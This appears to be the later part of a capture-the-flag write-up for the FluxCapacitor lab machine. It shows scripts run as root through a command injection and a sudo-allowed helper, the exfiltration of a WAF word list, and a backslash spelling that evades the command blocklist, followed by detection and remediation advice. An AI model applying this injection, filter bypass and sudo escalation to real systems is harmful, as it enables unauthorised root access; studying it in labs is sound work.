The length guess is unsupported, though not excluded. After reading the rules I counted slashes in the base64 of every script sent:

for f in 17-root 18-root 19-flags 20-conf 21-misc 22-waf; do printf "%s bytes=%s b64=%s slashes=%s plus=%s\n" $f $(wc -c < artifacts/$f.sh) $(base64 -w0 artifacts/$f.sh | wc -c) $(base64 -w0 artifacts/$f.sh | tr -cd / | wc -c) $(base64 -w0 artifacts/$f.sh | tr -cd + | wc -c); done; wc -l loot/unixcmd.lst; grep -nxE "ls|id|cat|sudo|bash|base64|date" loot/unixcmd.lst | tr "\n" " "
17-root bytes=220 b64=296 slashes=0 plus=0
18-root bytes=667 b64=892 slashes=1 plus=0
19-flags bytes=233 b64=312 slashes=0 plus=0
20-conf bytes=116 b64=156 slashes=0 plus=0
21-misc bytes=127 b64=172 slashes=0 plus=0
22-waf bytes=239 b64=320 slashes=0 plus=0
1089 loot/unixcmd.lst
45:base64 47:bash 77:cat 131:date 484:ls [lr exit 0]

The refused script is the only one whose base64 contains a /, and the command already holds a slash and a space before it (/home/themiddle/.monit cmd ), which is rule 4’s pattern. I stopped the machine in the same call as that count, so the test that would settle it was never sent: the 667-byte script padded by a byte so the slash disappears. What remains is the rule’s pattern applied on the laptop to the value rebuilt for all six scripts, and a diff of the shortened script against the original:

# local: rebuild the request value 17-root.py made for each script (before the backslashes, which add no slash or space)
# and apply rule 4's pattern to it, as 24-words.py does for the earlier values
# usage: 25-rule4.py <script>...
import base64, re, sys
r4 = re.compile(r"(\/.+\s+.*\/)")
for f in sys.argv[1:]:
    raw = open(f, "rb").read()
    v = "' sudo /home/themiddle/.monit cmd " + base64.b64encode(raw).decode() + "'"
    m = r4.search(v.strip())
    line = [l for l in raw.decode().split("\n") if "/" in base64.b64encode(raw).decode() and "/" in base64.b64encode(raw).decode()[: 4 * (raw.find(l.encode()) + len(l)) // 3 + 4][4 * raw.find(l.encode()) // 3 :]]
    print("%s: value %d bytes before escaping, rule 4 %s%s" % (f, len(v), "MATCH" if m else "no match", ("; slash falls in the base64 of: " + line[0][:70]) if line else ""))
python3 -I artifacts/25-rule4.py artifacts/17-root.sh artifacts/18-root.sh artifacts/19-flags.sh artifacts/20-conf.sh artifacts/21-misc.sh artifacts/22-waf.sh; diff <(sed -n 1,4p artifacts/18-root.sh) artifacts/19-flags.sh
artifacts/17-root.sh: value 331 bytes before escaping, rule 4 no match
artifacts/18-root.sh: value 927 bytes before escaping, rule 4 MATCH; slash falls in the base64 of: echo "### the older user.txt: same content as themiddle's?"; cmp /home
artifacts/19-flags.sh: value 347 bytes before escaping, rule 4 no match
artifacts/20-conf.sh: value 191 bytes before escaping, rule 4 no match
artifacts/21-misc.sh: value 207 bytes before escaping, rule 4 no match
artifacts/22-waf.sh: value 355 bytes before escaping, rule 4 no match
3,4c3,4
< echo "### the older user.txt: same content as themiddle's?"; cmp /home/FluxCapacitorInc/user.txt /home/themiddle/user.txt && echo same
< echo "### find"; ls -la /usr/bin/find; lsattr /usr/bin/find
---
> cmp /home/FluxCapacitorInc/user.txt /home/themiddle/user.txt && echo same
> ls -la /usr/bin/find; lsattr /usr/bin/find
[lr exit 1]

Only the refused value matches, and the slash comes from a label I deleted without knowing it mattered. The refused request is also the longest by a factor of two, so both explanations fit the six data points; rule 4 is the one with a mechanism in the configuration.

Post-Exploitation

Three more scripts through the same runner collected the evidence used above.

exec 2>&1
ps -eo user,pid,args | grep -i [n]ginx
B=$(readlink /proc/$(pgrep -o nginx)/exe); echo "### $B -T"; $B -T
python3 -I artifacts/17-root.py artifacts/20-conf.sh
artifacts/20-conf.sh: 116 bytes of script, 156 in base64 (0 plus signs), request value 356 bytes -> HTTP/1.1 200 OK
Trying to execute ZXhlYyAyPiYxCnBzIC1lbyB1c2VyLHBpZCxhcmdzIHwgZ3JlcCAtaSBbbl1naW54CkI9JChyZWFkbGluayAvcHJvYy8kKHBncmVwIC1vIG5naW54KS9leGUpOyBlY2hvICIjIyMgJEIgLVQiOyAkQiAtVAo=
root       678 nginx: master process /usr/local/openresty/nginx/sbin/nginx -c /usr/local/openresty/nginx/conf/nginx.conf
nobody     679 nginx: worker process
nobody     680 nginx: worker process
root     20389 bash -c exec 2>&1 ps -eo user,pid,args | grep -i [n]ginx B=$(readlink /proc/$(pgrep -o nginx)/exe); echo "### $B -T"; $B -T
### /usr/local/openresty/nginx/sbin/nginx -T
nginx: the configuration file /usr/local/openresty/nginx/conf/nginx.conf syntax is ok
nginx: configuration file /usr/local/openresty/nginx/conf/nginx.conf test is successful
[...]
error_log /dev/null;
[...]
    access_log  /dev/null;
[...]

The master runs as root and the workers, which run the Lua and therefore the injected command, as nobody. Both logs go to /dev/null. The rest of that output is the block under Vulnerability Analysis.

exec 2>&1
cat /home/themiddle/checksync
grep -v -e '^#' -e '^$' /etc/sudoers; ls -la /etc/sudoers.d
crontab -l; ls /etc/cron.d
python3 -I artifacts/17-root.py artifacts/21-misc.sh
artifacts/21-misc.sh: 127 bytes of script, 172 in base64 (0 plus signs), request value 380 bytes -> HTTP/1.1 200 OK
Trying to execute ZXhlYyAyPiYxCmNhdCAvaG9tZS90aGVtaWRkbGUvY2hlY2tzeW5jCmdyZXAgLXYgLWUgJ14jJyAtZSAnXiQnIC9ldGMvc3Vkb2VyczsgbHMgLWxhIC9ldGMvc3Vkb2Vycy5kCmNyb250YWIgLWw7IGxzIC9ldGMvY3Jvbi5kCg==
#!/bin/bash
[...]
# please, put it in /home/themiddle/checksync

date +%Y%m%dT%H:%M:%S

Defaults	env_reset
Defaults	mail_badpass
Defaults	secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
root	ALL=(ALL:ALL) ALL
%admin ALL=(ALL) ALL
%sudo	ALL=(ALL:ALL) ALL
nobody ALL = (ALL) ALL
nobody ALL = (root) NOPASSWD: /home/themiddle/.monit
total 12
drwxr-xr-x  2 root root 4096 Dec  2  2017 .
drwxr-xr-x 77 root root 4096 May 28  2020 ..
-r--r-----  1 root root  958 Jun 12  2017 README
no crontab for root
popularity-contest
bash: -c: option requires an argument

[lr exit 0]

The cut line is a comment in checksync. The script is one date call and ignores its arguments, which is why no accepted value ever changed the timestamp. Root has no crontab.

exec 2>&1
C=/usr/local/openresty/nginx
wc -l $C/conf/unixcmd.txt; echo "B64FILE:unixcmd.lst:$(base64 -w0 $C/conf/unixcmd.txt)"
ls -la $C/logs
grep -c ModSecurity $C/logs/error.log
grep ModSecurity $C/logs/error.log | tail -4 | cut -c1-700
python3 -I artifacts/17-root.py artifacts/22-waf.sh | python3 -I ../../tools/b64file-filter.py loot
artifacts/22-waf.sh: 239 bytes of script, 320 in base64 (0 plus signs), request value 652 bytes -> HTTP/1.1 200 OK
Trying to execute ZXhlYyAyPiYxCkM9L3Vzci9sb2NhbC9vcGVucmVzdHkvbmdpbngKd2MgLWwgJEMvY29uZi91bml4Y21kLnR4dDsgZWNobyAiQjY0RklMRTp1bml4Y21kLmxzdDokKGJhc2U2NCAtdzAgJEMvY29uZi91bml4Y21kLnR4dCkiCmxzIC1sYSAkQy9sb2dzCmdyZXAgLWMgTW9kU2VjdXJpdHkgJEMvbG9ncy9lcnJvci5sb2cKZ3JlcCBNb2RTZWN1cml0eSAkQy9sb2dzL2Vycm9yLmxvZyB8IHRhaWwgLTQgfCBjdXQgLWMxLTcwMAo=
1089 /usr/local/openresty/nginx/conf/unixcmd.txt
saved loot/unixcmd.lst: 10783 bytes
total 12
drwxr-xr-x  2 root root 4096 Nov 26 08:11 .
drwxr-xr-x 11 root root 4096 Dec  4  2017 ..
-rw-r--r--  1 root root    0 Dec  5  2017 error.log
-rw-r--r--  1 root root    4 Nov 26 08:11 nginx.pid
0
bash: -c: option requires an argument

[lr exit 0]

The word list came back through the filter to a local file. The error log in the default location is empty, as the configuration promised, so the box holds no record of which rule refused what. Lacking that, I checked the values sent earlier against the list and against rule 4 on the laptop:

# local: for each value sent, the entries of the looted word list (loot/unixcmd.lst) that occur in it as a substring,
# case-insensitive, which is how a phrase match would see it; and whether rule 4's pattern matches
# usage: 24-words.py <value>...
import re, sys
words = [w.strip() for w in open("loot/unixcmd.lst", encoding="latin1") if w.strip()]
r4 = re.compile(r"(\/.+\s+.*\/)")
for v in sys.argv[1:]:
    hits = sorted({w for w in words if w.lower() in v.lower()})
    print("[%s] list entries inside: %s; rule 4: %s" % (v, ", ".join(hits) or "none", "match" if r4.search(v.strip()) else "no"))
python3 -I artifacts/24-words.py test id "' id'" "' sudo -l'" "' ls -la /home'" "' \\l\\s -la /home'" "' sleep 0'" "' uname -a'" "' \\l\\s -\\l\\a /\\h\\o\\m\\e/\\t\\h\\e\\m\\i\\d\\d\\l\\e /\\h\\o\\m\\e/\\F\\l\\u\\x\\C\\a\\p\\a\\c\\i\\t\\o\\r\\I\\n\\c'"; head -c 300 loot/unixcmd.lst | tr '\n' ' '
[test] list entries inside: test; rule 4: no
[id] list entries inside: none; rule 4: no
[' id'] list entries inside: none; rule 4: no
[' sudo -l'] list entries inside: none; rule 4: no
[' ls -la /home'] list entries inside: ls; rule 4: no
[' \l\s -la /home'] list entries inside: none; rule 4: no
[' sleep 0'] list entries inside: sleep; rule 4: no
[' uname -a'] list entries inside: uname; rule 4: no
[' \l\s -\l\a /\h\o\m\e/\t\h\e\m\i\d\d\l\e /\h\o\m\e/\F\l\u\x\C\a\p\a\c\i\t\o\r\I\n\c'] list entries inside: none; rule 4: match
[...]

The cut line is the first 300 bytes of the list. Every refusal and every pass from the earlier rounds agrees with this reading: test, ls, sleep and uname are entries, id and sudo are not, the escaped forms contain no entry, and the two-path command matches rule 4. It is a local model of the rules, not a test against the front.

The platform record, and the fuzz hit’s status from the ffuf JSON:

cd ../.. && bin/htb info fluxcapacitor | python3 -I -c 'import json,sys; d=json.load(sys.stdin); print({k: d[k] for k in ("name","release","publishable","user_owned","root_owned") if k in d})'; python3 -I -c 'import json;[print(r["input"]["FUZZ"],r["status"],r["length"]) for r in json.load(open("machines/fluxcapacitor/scans/06-params.json"))["results"]]'
{'name': 'FluxCapacitor', 'release': '2017-12-16', 'publishable': True, 'user_owned': True, 'root_owned': True}
opt 403 175
[lr exit 0]

No file was written to the target, so there was nothing to remove. The sudo calls will have left syslog entries, which I neither read nor touched.

Defensive Analysis

The web server recorded none of this, and that is the first finding: access_log /dev/null and error_log /dev/null mean the 403s, the raw spaces in request lines and ModSecurity’s own messages went nowhere. The detections below are therefore ones the box could have had, none of them tried here.

  • Reconnaissance: a 65,535-port sweep at 2,000 packets a second, visible to any network sensor.
  • Phase 1, discovery: 6,453 requests to one path in under a minute, each with a different parameter name. An access log and a rate threshold see it.
  • Phase 1, injection: request lines with a literal space and quote inside the query string, and a run of 403s from one client followed by 200s on the same parameter. Both need the access log. On the host, sh and bash as children of an nginx worker running id and sudo -l is what auditd execve rules or any process-lineage sensor are for.
  • Phase 2: sudo invoked by nobody. sudo logs to syslog by default; I did not read /var/log/auth.log on the box, so whether those entries exist there is unverified.

Remediation

None of these was applied on the box. Each names the check that would show it worked.

  1. Remove the shell from the handler. The endpoint needs a timestamp: ngx.say(os.date("%Y%m%dT%H:%M:%S")) and no parameter. Check: the request in 14-raw.cmd returns only a timestamp.
  2. If a parameter must exist, validate it against what it may be (an allowlist pattern, anchored), not against what it may not. Check: every value in 09-opt.cmd and 14-raw.cmd is refused or ignored.
  3. Delete both nobody lines from sudoers and delete .monit. A service account needs no sudo. Check: sudo -l as nobody lists nothing.
  4. Keep a filter as a second layer if wanted, but with a maintained rule set in place of seven hand-written rules, and treat a block as an event someone sees.
  5. Send access and error logs to files and ship them. Check: a refused request produces a line.

Key Takeaways

  • A blocklist of command names is defeated by any spelling the shell accepts and the list does not; one backslash per letter is the laziest of many.
  • Ask what the handler receives, not what the client sent. Three rounds of careful probes failed because a tool encoded them on my behalf, and the fix was to stop using the tool.
  • When one request of several is refused, compare what differs before blaming size. The likeliest cause here is one character in an encoding I had assumed was inert, and I stopped the machine before proving it.
  • Write the log line after reading the result.
  • A script that runs its argument, allowed through sudo, is a root shell with extra steps, whatever its name suggests it monitors.